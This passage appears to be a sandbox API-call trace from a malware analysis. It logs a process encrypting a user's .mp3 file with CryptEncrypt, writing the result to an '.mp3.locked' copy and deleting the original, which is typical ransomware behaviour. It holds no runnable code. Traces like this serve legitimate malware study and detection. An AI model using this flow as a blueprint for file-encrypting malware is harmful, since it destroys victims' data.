[7]=0x1))) returned 0x0 [0125.982] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.982] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", lpFilePart=0x0) returned 0x54 [0125.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.983] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0125.983] GetFileType (hFile=0x878) returned 0x1 [0125.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.983] GetFileType (hFile=0x878) returned 0x1 [0125.983] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.983] CryptGenRandom (in: hProv=0x8e028b0, dwLen=0x10, pbBuffer=0x6baf69c | out: pbBuffer=0x6baf69c) returned 1 [0125.983] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.984] CryptDuplicateKey (in: hKey=0x8e84cb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84d78) returned 1 [0125.984] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.984] CryptSetKeyParam (hKey=0x8e84d78, dwParam=0x4, pbData=0x6bb0a60*=0x1, dwFlags=0x0) returned 1 [0125.984] CryptSetKeyParam (hKey=0x8e84d78, dwParam=0x1, pbData=0x6bb0a2c, dwFlags=0x0) returned 1 [0125.984] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0125.984] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.984] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.984] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.984] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.985] ReadFile (in: hFile=0x874, lpBuffer=0x6bb3fe8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6bb3fe8*, lpNumberOfBytesRead=0x99ae9fc*=0xfc4f, lpOverlapped=0x0) returned 1 [0125.986] CryptEncrypt (in: hKey=0x8e84d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6bc7ff4*, pdwDataLen=0x99ae9f0*=0xfc40, dwBufLen=0xfc40 | out: pbData=0x6bc7ff4*, pdwDataLen=0x99ae9f0*=0xfc40) returned 1 [0125.986] WriteFile (in: hFile=0x878, lpBuffer=0x6baf7b4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6baf7b4*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0125.987] WriteFile (in: hFile=0x878, lpBuffer=0x6bc8fe0*, nNumberOfBytesToWrite=0xec54, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6bc8fe0*, lpNumberOfBytesWritten=0x99ae9d4*=0xec54, lpOverlapped=0x0) returned 1 [0125.988] ReadFile (in: hFile=0x874, lpBuffer=0x6bb3fe8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6bb3fe8*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0125.988] CryptEncrypt (in: hKey=0x8e84d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6bd7cb0*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6bd7cb0*, pdwDataLen=0x99aea50*=0x10) returned 1 [0125.988] CryptEncrypt (in: hKey=0x8e84d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bd7ce4*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6bd7ce4*, pdwDataLen=0x99aea58*=0x10) returned 1 [0125.988] WriteFile (in: hFile=0x878, lpBuffer=0x6baf7b4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6baf7b4*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0125.988] CloseHandle (hObject=0x878) returned 1 [0125.990] CloseHandle (hObject=0x874) returned 1 [0125.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.991] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.991] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.991] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.991] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.992] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0125.993] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.993] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.993] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.993] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.994] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.994] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.994] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.994] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.994] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.994] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.994] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.994] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.994] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.994] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.994] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.994] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0125.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0125.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0125.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0125.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0125.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.996] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.996] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0125.997] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.997] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3\\", lpFilePart=0x0) returned 0x4e [0125.997] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0125.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0125.997] CoTaskMemAlloc (cb=0x404) returned 0x8e38fb8 [0125.997] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8e38fb8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0125.997] CoTaskMemFree (pv=0x8e38fb8) [0125.998] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0125.998] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.998] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0125.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6bf0b1c | out: lpFileInformation=0x6bf0b1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62f67f0, ftCreationTime.dwHighDateTime=0x1d4a213, ftLastAccessTime.dwLowDateTime=0x8436b2c0, ftLastAccessTime.dwHighDateTime=0x1d4a8f8, ftLastWriteTime.dwLowDateTime=0x8436b2c0, ftLastWriteTime.dwHighDateTime=0x1d4a8f8, nFileSizeHigh=0x0, nFileSizeLow=0xfc4f)) returned 1 [0125.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0125.999] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 1 [0126.003] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.003] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.003] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.003] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.003] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3.locked")) returned 0x20 [0126.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3.locked")) returned 0x20 [0126.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", lpFilePart=0x0) returned 0x54 [0126.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3.locked", lpFilePart=0x0) returned 0x54 [0126.005] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.005] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0126.005] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.005] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.005] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x17, [2]=0x30, [3]=0x4a, 